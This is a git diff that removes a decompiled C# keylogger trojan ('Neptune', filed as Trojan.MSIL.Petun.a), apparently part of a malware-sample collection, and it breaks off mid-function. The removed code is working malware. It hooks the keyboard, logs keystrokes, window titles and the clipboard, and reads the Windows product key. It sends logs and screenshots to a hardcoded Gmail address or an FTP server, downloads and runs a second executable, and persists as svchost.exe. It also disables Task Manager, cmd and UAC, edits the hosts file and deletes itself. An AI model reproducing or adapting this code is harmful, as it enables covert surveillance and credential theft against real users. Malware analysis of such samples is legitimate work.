b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/Module1.cs deleted file mode 100644 index 66b676bd..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51/Module1.cs +++ /dev/null @@ -1,1282 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Module1 -// Assembly: "sn00zz's DDoS", Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CCFEA500-F919-4390-B930-946DFDA87BF8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-9f587fe17e4f6e486ed72244efec8e95510e9a6ee83b45047369a51dc3b15b51.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -[StandardModule] -internal sealed class Module1 -{ - private static bool rHLOGe = false; - private static bool RIWgPP = false; - private static bool uMxCbQ = false; - private static bool MSOadr = false; - private static bool GWoJcW = false; - private static bool EpipUg = false; - private static string TibLsv = "20"; - private static string qEqdFb = "AaD"; - private static int qQqCvO = 1; - private static string RctIdR = "aVWU"; - public static string KSHmvwu = "CurrentUser"; - private static string rvxpPdW = "ZKDKoP"; - private static string DlyYYzI = "aWLfWMakTT"; - private static string mxrKsQz = "svchost.exe"; - private static string SDDate = "+SDDate+"; - private static bool TakeScrns = true; - private static string[] Message = new string[3] - { - "+MsgFalse+", - "+MsgMsg+", - "+Ico+" - }; - private static string Delay = "+DelOff+"; - private static bool FRMsg = true; - private static bool NoEL = true; - private static bool SSTime = false; - private static string SSInt = "10"; - private static bool NWtoSUB = false; - private static string xCntCSs = "http://www.exampleserver.com/directfile.exe"; - private static bool xvdSmcT = false; - private static string owKlGkJ = "setup.exe"; - private static bool NJVYmIKT = true; - private static bool UTjmph = false; - private static string Dfkxud = "LHs1gVoZGRA="; - private static string HMwELbDC = "ftp.exampleserver.com"; - private static string GdvVvHBT = "LHs1gVoZGRA="; - private static string NVWfEybd = "/"; - private static string Hmvvuzkd = "smtp.gmail.com"; - private static string OdWGoqLn = "zdOQ+Iyhk8/jSxsIbnPS53FSjO+E5A4+BGS1PfZaSIc="; - private static string WVwevhlM = "anl2Xc4m0uufnts4I7TyJA=="; - private static string QMXoDYMW = "sneekerzfallin@gmail.com"; - private static string XDMMLQnt = "587"; - private static string etmXFHbE = "----["; - private static string wKlFk = "]----"; - private static bool lfxhE; - private static bool MdrzB; - private static bool IovOW = true; - private static bool lqcip = true; - private static bool mpgGi = true; - private static bool DsjxI = true; - private const int oEkqKSHni = 257; - private const short ehkcBeJso = 256; - private const int LmJVjRiUY = 260; - private const int QMYbpMNWg = 261; - private static IntPtr KeyboardHandle = (IntPtr) 0; - private static string LastCheckedForegroundTitle = ""; - private static Module1.KeyboardHookDelegate callback = (Module1.KeyboardHookDelegate) null; - private static string FNaCW; - - public static string hFoyFBN - { - get => Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - set - { - } - } - - public static string PsJpvPX - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Favorites); - set - { - } - } - - public static string cVcHhTj - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Personal); - set - { - } - } - - public static string xtiDsjx - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System); - set - { - } - } - - public static string GSgOfRVu - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("\\system32", ""); - set - { - } - } - - public static string LT - { - get => Environment.MachineName + " - " + DateTime.Now.ToString().Replace(" ", "-").Replace("/", "-").Replace(":", "."); - set - { - } - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Module1.hraaNN lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int LiEcU(int hHook); - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Module1.KeyboardHookDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(int vKey); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private static string gvzDu() - { - string str; - try - { - string lpString = new string(char.MinValue, 100); - Module1.GetWindowText(Module1.GetForegroundWindow(), ref lpString, 100); - str = lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = ""; - ProjectData.ClearProjectError(); - } - return str; - } - - private static object QswLV() - { - object obj; - try - { - obj = (object) (Module1.KeyboardHandle != (IntPtr) 0); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - obj = (object) ""; - ProjectData.ClearProjectError(); - } - return obj; - } - - public static void ImWSHb() - { - try - { - Module1.callback = new Module1.KeyboardHookDelegate(Module1.MrBBz); - Module1.KeyboardHandle = (IntPtr) Module1.SetWindowsHookEx(13, Module1.callback, (int) Process.GetCurrentProcess().MainModule.BaseAddress, 0); - int num = Module1.KeyboardHandle != (IntPtr) 0 ? 1 : 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void ZCjBm() - { - try - { - if (!Conversions.ToBoolean(Module1.QswLV()) || Module1.LiEcU((int) Module1.KeyboardHandle) == 0) - return; - Module1.KeyboardHandle = (IntPtr) 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string NPYic( - ref string strSource, - ref string strStart, - ref string strEnd, - ref int startPos = 0) - { - int length = strStart.Length; - string str = string.Empty; - int num1 = strSource.IndexOf(strStart, startPos); - int num2 = strSource.IndexOf(strEnd, checked (num1 + length)); - if (num1 != -1 && num2 != -1) - str = strSource.Substring(checked (num1 + length), checked (num2 - num1 + length)); - return str; - } - - public static int MrBBz(int Code, int wParam, ref Module1.hraaNN lParam) - { - int num; - try - { - object obj = (object) Module1.gvzDu(); - if (Operators.ConditionalCompareObjectNotEqual(obj, (object) Module1.LastCheckedForegroundTitle, false)) - { - Module1.LastCheckedForegroundTitle = Conversions.ToString(obj); - Module1.FNaCW = Conversions.ToString(Operators.ConcatenateObject((object) Module1.FNaCW, Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("\r\n" + Module1.etmXFHbE), obj), (object) " - "), (object) DateAndTime.Now.ToString()), (object) Module1.wKlFk), (object) "\r\n"))); - } - string Left = ""; - if (wParam == 256 | wParam == 260) - { - if (Code >= 0 && MyProject.Computer.Keyboard.CtrlKeyDown & MyProject.Computer.Keyboard.AltKeyDown & lParam.vkCode == 83) - { - num = 1; - goto label_130; - } - else - { - switch (lParam.vkCode) - { - case 8: - if (Module1.FNaCW.EndsWith(Module1.wKlFk + "\r\n") | !Module1.lqcip | Module1.FNaCW.EndsWith("]")) - { - Left = "[BS]"; - break; - } - Module1.FNaCW = Module1.FNaCW.Remove(checked (Module1.FNaCW.ToString().Length - 1)); - Left = ""; - break; - case 9: - Left = "\t"; - break; - case 13: - Left = "\r\n"; - break; - case 20: - if (Module1.IovOW) - { - Module1.MdrzB = !MyProject.Computer.Keyboard.CapsLock; - break; - } - Left = !MyProject.Computer.Keyboard.CapsLock ? "[cl]" : "[/cl]"; - break; - case 27: - Left = " [esc] "; - break; - case 32: - Left = " "; - break; - case 37: - Left = "[<]"; - break; - case 38: - Left = "[^]"; - break; - case 39: - Left = "[>]"; - break; - case 40: - Left = "[V]"; - break; - case 46: - Left = " [dlt] "; - break; - case 48: - case 49: - case 50: - case 51: - case 52: - case 53: - case 54: - case 55: - case 56: - case 57: - if (Module1.lfxhE) - { - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "1", false) == 0) - { - Left = "!"; - break; - } - if (Operators.CompareString(Left, "2", false) == 0) - { - Left = "@"; - break; - } - if (Operators.CompareString(Left, "3", false) == 0) - { - Left = "#"; - break; - } - if (Operators.CompareString(Left, "4", false) == 0) - { - Left = "$"; - break; - } - if (Operators.CompareString(Left, "5", false) == 0) - { - Left = "%"; - break; - } - if (Operators.CompareString(Left, "6", false) == 0) - { - Left = "^"; - break; - } - if (Operators.CompareString(Left, "7", false) == 0) - { - Left = "&"; - break; - } - if (Operators.CompareString(Left, "8", false) == 0) - { - Left = "*"; - break; - } - if (Operators.CompareString(Left, "9", false) == 0) - { - Left = "("; - break; - } - if (Operators.CompareString(Left, "0", false) == 0) - { - Left = ")"; - break; - } - break; - } - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - break; - case 65: - case 66: - case 67: - case 68: - case 69: - case 70: - case 71: - case 72: - case 73: - case 74: - case 75: - case 76: - case 77: - case 78: - case 79: - case 80: - case 81: - case 82: - case 83: - case 84: - case 85: - case 86: - case 87: - case 88: - case 89: - case 90: - Left = !(Module1.lfxhE | Module1.MdrzB) ? Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))) : Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))).ToUpper(); - break; - case 96: - case 97: - case 98: - case 99: - case 100: - case 101: - case 102: - case 103: - case 104: - case 105: - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "a", false) == 0) - Left = Conversions.ToString(1); - if (Operators.CompareString(Left, "b", false) == 0) - Left = Conversions.ToString(2); - if (Operators.CompareString(Left, "c", false) == 0) - Left = Conversions.ToString(3); - if (Operators.CompareString(Left, "d", false) == 0) - Left = Conversions.ToString(4); - if (Operators.CompareString(Left, "e", false) == 0) - Left = Conversions.ToString(5); - if (Operators.CompareString(Left, "f", false) == 0) - Left = Conversions.ToString(6); - if (Operators.CompareString(Left, "g", false) == 0) - Left = Conversions.ToString(7); - if (Operators.CompareString(Left, "h", false) == 0) - Left = Conversions.ToString(8); - if (Operators.CompareString(Left, "i", false) == 0) - Left = Conversions.ToString(9); - if (Operators.CompareString(Left, "`", false) == 0) - { - Left = Conversions.ToString(0); - break; - } - break; - case 109: - case 189: - Left = !Module1.lfxhE ? "-" : "_"; - break; - case 110: - case 190: - Left = Module1.lfxhE ? ">" : "."; - break; - case 112: - case 113: - case 114: - case 115: - case 116: - case 117: - case 118: - case 119: - case 120: - case 121: - case 122: - case 123: - case 124: - case 125: - case 126: - case (int) sbyte.MaxValue: - case 128: - case 129: - case 130: - case 131: - case 132: - case 133: - case 134: - case 135: - Left = "[F" + Conversions.ToString(checked (lParam.vkCode - 111)) + "]"; - break; - case 160: - case 161: - if (!Module1.IovOW) - { - Left = " [lfxhE] "; - break; - } - Module1.lfxhE = true; - break; - case 162: - case 163: - Left = " [ctrl] "; - break; - case 164: - Left = " [alt] "; - break; - case 165: - Left = " [ralt] "; - break; - default: - Left = Conversions.ToString(lParam.vkCode); - if (Module1.lfxhE) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "~"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "{"; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "}"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "|"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "\""; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ":"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = "<"; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "?"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "+"; - } - else if (!Module1.lfxhE) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "`"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "["; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "]"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "\\"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "'"; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ";"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = ","; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "="; - } - if (Operators.CompareString(Left, "107", false) == 0) - Left = "+"; - if (Operators.CompareString(Left, "107", false) == 0) - Left = "*"; - if (Operators.CompareString(Left, "111", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "44", false) == 0) - { - Left = " [SS] "; - break; - } - break; - } - } - } - else if (wParam == 257 | wParam == 261) - { - switch (lParam.vkCode) - { - case 160: - case 161: - if (!Module1.IovOW) - Left = "[/lfxhE]"; - Module1.lfxhE = false; - break; - case 162: - case 163: - Left = "[/ctrl]"; - break; - case 164: - Left = "[/lalt]"; - break; - case 165: - Left = "[/ralt]"; - break; - } - } - Module1.FNaCW += Left; - if (Operators.CompareString(Left, "", false) == 0) - ; - num = Module1.CallNextHookEx((int) Module1.KeyboardHandle, Code, wParam, lParam); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num = Conversions.ToInteger(""); - ProjectData.ClearProjectError(); - } -label_130: - return num; - } - - [STAThread] - public static void Main() - { - if (!Module1.SDDate.Contains("SDDate+") && DateTime.Compare(DateAndTime.Today.Date, Conversions.ToDate(Module1.SDDate)) == 0) - Module1.HaiXDyy(); - if (!Module1.Delay.Contains("DelOff+")) - Module1.zXdkPcb(Conversions.ToInteger(Module1.Delay)); - string qEqdFb = Module1.qEqdFb; - Module1.qEqdFb = Operators.CompareString(qEqdFb, "AaD", false) != 0 ? (Operators.CompareString(qEqdFb, "FaF", false) != 0 ? (Operators.CompareString(qEqdFb, "MaD", false) != 0 ? (Operators.CompareString(qEqdFb, "SaF", false) != 0 ? (Operators.CompareString(qEqdFb, "WaF", false) != 0 ? Module1.qEqdFb : Module1.GSgOfRVu) : Module1.xtiDsjx) : Module1.cVcHhTj) : Module1.PsJpvPX) : Module1.hFoyFBN; - Module1.OdWGoqLn = Module1.TripleDESDecode(Module1.OdWGoqLn, "System.Net"); - Module1.WVwevhlM = Module1.TripleDESDecode(Module1.WVwevhlM, "System.Net"); - Module1.Dfkxud = Module1.TripleDESDecode(Module1.Dfkxud, "System.Net"); - Module1.GdvVvHBT = Module1.TripleDESDecode(Module1.GdvVvHBT, "System.Net"); - Module1.mxrKsQz = "\\" + Module1.mxrKsQz; - if (Operators.CompareString(Application.StartupPath, Module1.qEqdFb, false) != 0) - { - if (!Module1.Message[0].Contains("MsgFalse+")) - { - MessageBoxIcon messageBoxIcon = new MessageBoxIcon(); - MessageBoxIcon integer = (MessageBoxIcon) Conversions.ToInteger(Module1.Message[2]); - int num = (int) MessageBox.Show(Module1.Message[1], Module1.Message[0], MessageBoxButtons.OK, integer); - } - if (System.IO.File.Exists(Module1.qEqdFb + Module1.mxrKsQz)) - ProjectData.EndApp(); - if (Module1.FRMsg) - { - string str1; - if (Module1.NJVYmIKT) - { - ref string local1 = ref Module1.Hmvvuzkd; - ref string local2 = ref Module1.OdWGoqLn; - ref string local3 = ref Module1.WVwevhlM; - ref string local4 = ref Module1.QMXoDYMW; - string str2 = "[First Run] Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str2; - str1 = "Hello, this is an email letting you know that your keylogger has been freshly installed on the computer in the title. Thank you."; - ref string local6 = ref str1; - int integer = Conversions.ToInteger(Module1.XDMMLQnt); - ref int local7 = ref integer; - ref bool local8 = ref Module1.TakeScrns; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.XDMMLQnt = Conversions.ToString(integer); - } - if (Module1.UTjmph) - { - ref string local9 = ref Module1.HMwELbDC; - ref string local10 = ref Module1.NVWfEybd; - ref string local11 = ref Module1.Dfkxud; - ref string local12 = ref Module1.GdvVvHBT; - str1 = "Hello, this is a message letting you know that you keylogger has been installed on " + Environment.MachineName + "."; - ref string local13 = ref str1; - Module1.UpFTP(ref local9, ref local10, ref local11, ref local12, ref local13); - } - } - if (Module1.NWtoSUB) - { - if (System.IO.File.Exists(Path.GetTempPath() + Module1.owKlGkJ)) - System.IO.File.Delete(Path.GetTempPath() + Module1.owKlGkJ); - MyProject.Computer.Network.DownloadFile(Module1.xCntCSs, Path.GetTempPath() + Module1.owKlGkJ); - if (System.IO.File.Exists(Path.GetTempPath() + Module1.owKlGkJ)) - { - if (Module1.xvdSmcT) - Process.Start(Path.GetTempPath() + Module1.owKlGkJ, Conversions.ToString(new ProcessStartInfo().WindowStyle == ProcessWindowStyle.Normal)); - else - Process.Start(Path.GetTempPath() + Module1.owKlGkJ); - } - } - if (Module1.rHLOGe) - { - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 1", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2", AppWinStyle.Hide); - } - if (Module1.qQqCvO == 2) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ", "DisableTaskMgr", (object) "1"); - if (Module1.uMxCbQ) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoRun", (object) "1"); - if (Module1.MSOadr) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoViewContextMenu", (object) "1"); - if (Module1.GWoJcW) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - if (Module1.EpipUg) - Interaction.Shell("C:\\Windows\\System32\\GWoJcW.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide); - if (Module1.RIWgPP) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, Module1.qEqdFb + Module1.mxrKsQz); - Process.Start(Module1.qEqdFb + Module1.mxrKsQz); - if (Operators.CompareString(Module1.rvxpPdW, "Melt", false) == 0) - Module1.HaiXDyy(); - else if (Operators.CompareString(Module1.rvxpPdW, "Hide", false) == 0) - new FileInfo(Application.ExecutablePath).Attributes = FileAttributes.Hidden; - ProjectData.EndApp(); - } - if (new NHZWtP(Module1.DlyYYzI).IsRunning()) - Environment.Exit(0); - try - { - if (Operators.CompareString(Module1.KSHmvwu, "CurrentUser", false) == 0 | Operators.CompareString(Module1.KSHmvwu, "LocalMachine", false) == 0) - ROS.set_Runonstartup((string) null, ROS.StartupCheckCriteria.Either, true); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num = (int) Interaction.MsgBox((object) ex.Message); - ProjectData.ClearProjectError(); - } - if (Module1.RctIdR.Length != 4) - { - string[] strArray = Strings.Split(Module1.RctIdR, ","); - int index = 0; - while (index < strArray.Length) - { - string str = strArray[index]; - System.IO.File.AppendAllText(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\drivers\\etc\\hosts", "\r\n127.0.0.1 " + str); - checked { ++index; } - } - } - Module1.ImWSHb(); - switch (Module1.qQqCvO) - { - case 3: - new Thread(new ThreadStart(Module1.KQMXoEL)).Start(); - break; - case 4: - GdYCEjE.Running = true; - break; - } - if (Module1.SSTime) - new Thread(new ThreadStart(Module1.TimedSS)).Start(); - while (true) - { - try - { - do - { - Module1.WaitEx(); - } - while (Operators.CompareString(Module1.FNaCW, "", false) == 0 & Module1.NoEL); - string str = ""; - if (Module1.mpgGi) - str = str + "System Information - \r\n" + Module1.HoqLnsG() + "\r\n"; - if (Module1.DsjxI) - str = str + "Clipboard: " + Clipboard.GetText(); - Module1.FNaCW = str + Module1.FNaCW; - Module1.LastCheckedForegroundTitle = ""; - new Thread(new ThreadStart(Module1.CoQmyN)).Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - public static void TimedSS() - { - while (true) - { - do - { - Module1.WaitEx1(); - if (Module1.NJVYmIKT) - { - ref string local1 = ref Module1.Hmvvuzkd; - ref string local2 = ref Module1.OdWGoqLn; - ref string local3 = ref Module1.WVwevhlM; - ref string local4 = ref Module1.QMXoDYMW; - string str1 = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str1; - string str2 = "Attached is a screenshot of the victim in the title."; - ref string local6 = ref str2; - int integer = Conversions.ToInteger(Module1.XDMMLQnt); - ref int local7 = ref integer; - bool flag = true; - ref bool local8 = ref flag; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.XDMMLQnt = Conversions.ToString(integer); - } - } - while (!Module1.UTjmph); - Module1.UpFTPImg(ref Module1.HMwELbDC, ref Module1.NVWfEybd, ref Module1.Dfkxud, ref Module1.GdvVvHBT); - } - } - - public static void WaitEx1() - { - Thread thread = new Thread(new ThreadStart(Module1.WT1)); - thread.Start(); - thread.Join(); - } - - public static void WT1() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.SSInt) * 60.0 * 1000.0)))); - - public static void CoQmyN() - { - string fnaCw = Module1.FNaCW; - Module1.FNaCW = ""; - if (Module1.NJVYmIKT) - { - ref string local1 = ref Module1.Hmvvuzkd; - ref string local2 = ref Module1.OdWGoqLn; - ref string local3 = ref Module1.WVwevhlM; - ref string local4 = ref Module1.QMXoDYMW; - string str = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str; - ref string local6 = ref fnaCw; - int integer = Conversions.ToInteger(Module1.XDMMLQnt); - ref int local7 = ref integer; - ref bool local8 = ref Module1.TakeScrns; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.XDMMLQnt = Conversions.ToString(integer); - } - if (!Module1.UTjmph) - return; - Module1.UpFTP(ref Module1.HMwELbDC, ref Module1.NVWfEybd, ref Module1.Dfkxud, ref Module1.GdvVvHBT, ref fnaCw); - } - - public static void WaitEx() - { - Thread thread = new Thread(new ThreadStart(Module1.WT)); - thread.Start(); - thread.Join(); - } - - public static void WT() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.TibLsv) * 60.0 * 1000.0)))); - - private static void zXdkPcb(int interval) - { - Stopwatch stopwatch = new Stopwatch(); - stopwatch.Start(); - while (stopwatch.ElapsedMilliseconds < (long) interval) - Application.DoEvents(); - stopwatch.Stop(); - } - - private static string GetWindowsKey() - { - object Instance = (object) (NewLateBinding.LateGet((object) Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", false), (System.Type) null, "GetValue", new object[1] - { - (object) "DigitalProductId" - }, (string[]) null, (System.Type[]) null, (bool[]) null) as byte[]); - if (Instance == null) - return "value was nothing!"; - char[] chArray = new char[29]; - int index = 28; - do - { - if (checked (index + 1) % 6 == 0) - { - chArray[index] = '-'; - } - else - { - object Operand = (object) 0; - int num = 66; - do - { - object Left = Operators.OrObject(Operators.LeftShiftObject(Operand, (object) 8), NewLateBinding.LateIndexGet(Instance, new object[1] - { - (object) num - }, (string[]) null)); - NewLateBinding.LateIndexSet(Instance, new object[2] - { - (object) num, - (object) Conversions.ToByte(Operators.IntDivideObject(Left, (object) 24)) - }, (string[]) null); - Operand = Operators.ModObject(Left, (object) 24); - chArray[index] = "BCDFGHJKMPQRTVWXY2346789"[Conversions.ToInteger(Operand)]; - checked { num += -1; } - } - while (num >= 52); - } - checked { index += -1; } - } - while (index >= 0); - return new string(chArray); - } - - public static string VwRvUlM(object Bytes) - { - string str; - try - { - if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1073741824, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), (object) 1024), "#0.00") + " GB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1048576, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), "#0.00") + " MB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1024, false)) - { - str = Strings.Format(Operators.DivideObject(Bytes, (object) 1024), "#0.00") + " KB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectLess(Bytes, (object) 1024, false)) - { - str = Conversions.ToString(Operators.ConcatenateObject(Conversion.Fix(RuntimeHelpers.GetObjectValue(Bytes)), (object) " Bytes")); - goto label_10; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = "0 Bytes"; - ProjectData.ClearProjectError(); - goto label_10; - } - return "0 Bytes"; -label_10: - return str; - } - - public static string HoqLnsG() => "Machine Name: " + Environment.MachineName + "\r\n" + "Current User: " + Environment.UserName + "\r\n" + "Operating System: " + Module1.GenerateOperatingSystem() + "\r\n" + "Windows Key: " + Module1.GetWindowsKey() + "\r\n" + "Available Physical Memory: " + Module1.VwRvUlM((object) MyProject.Computer.Info.AvailablePhysicalMemory.ToString()) + "\r\n" + "Available Virtual Memory: " + Module1.VwRvUlM((object) MyProject.Computer.Info.AvailableVirtualMemory.ToString()) + "\r\n" + "System Directory: " + Environment.SystemDirectory + "\r\n" + "Local Time: " + DateAndTime.Now.ToString(); - - public static string GenerateOperatingSystem() - { - OperatingSystem osVersion = Environment.OSVersion; - string operatingSystem = "UN"; - switch (osVersion.Platform) - { - case PlatformID.Win32Windows: - switch (osVersion.Version.Minor) - { - case 0: - operatingSystem = "95"; - break; - case 10: - operatingSystem = "98"; - break; - case 90: - operatingSystem = "ME"; - break; - } - break; - case PlatformID.Win32NT: - switch (osVersion.Version.Major) - { - case 3: - operatingSystem = "NT"; - break; - case 4: - operatingSystem = "NT"; - break; - case 5: - if (osVersion.Version.Minor == 0) - { - operatingSystem = "2K"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "XP"; - break; - } - if (osVersion.Version.Minor == 2) - { - operatingSystem = "2K3"; - break; - } - break; - case 6: - operatingSystem = "VS"; - if (osVersion.Version.Minor == 0) - { - operatingSystem = "VS"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "W7"; - break; - } - break; - } - break; - } - return operatingSystem; - } - - public static void KQMXoEL() - { -label_0: - Module1.zXdkPcb(300); - Process[] processes = Process.GetProcesses(); - int index = 0; - while (index < processes.Length) - { - Process process = processes[index]; - if (process.MainWindowTitle.Contains("Windows Task Manager")) - { - process.Kill(); - Module1.zXdkPcb(700); - } - checked { ++index; } - } - goto label_0; - } - - [DllImport("kernel32", EntryPoint = "GetModuleFileNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetModuleFileName(int hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileName, int nSize); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ExitProcess(uint uExitCode); - - [DllImport("kernel32", EntryPoint = "MoveFileExW", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int MoveFile([MarshalAs(UnmanagedType.LPTStr), In] string lpExistingFileName, [MarshalAs(UnmanagedType.LPTStr), In] string lpNewFileName, long dwFlags); - - public static void HaiXDyy() - { - string executablePath1 = Application.ExecutablePath; - string executablePath2 = Application.ExecutablePath; - int moduleFileName = Module1.GetModuleFileName(0, ref executablePath2, 256); - Module1.MoveFile(Strings.Left(executablePath1, moduleFileName), Path.GetTempPath() + "\\tm" + DateTime.Now.Millisecond.ToString() + ".tmp", 8L); - Module1.ExitProcess(0U); - } - - public static string UpFTP( - ref string Hmvvuzkd, - ref string Dir, - ref string OdWGoqLn, - ref string WVwevhlM, - ref string upStr) - { - string str1; - try - { - string str2 = "\\" + Module1.LT + ".txt"; - string str3 = Path.GetTempPath() + str2; - System.IO.File.WriteAllText(str3, upStr); - MyProject.Computer.Network.UploadFile(str3, "ftp://" + Hmvvuzkd + Dir + str2, OdWGoqLn, WVwevhlM); - if (Module1.TakeScrns) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + Hmvvuzkd + Dir + str2 + ".gif", OdWGoqLn, WVwevhlM); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - } - System.IO.File.Delete(str3); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - 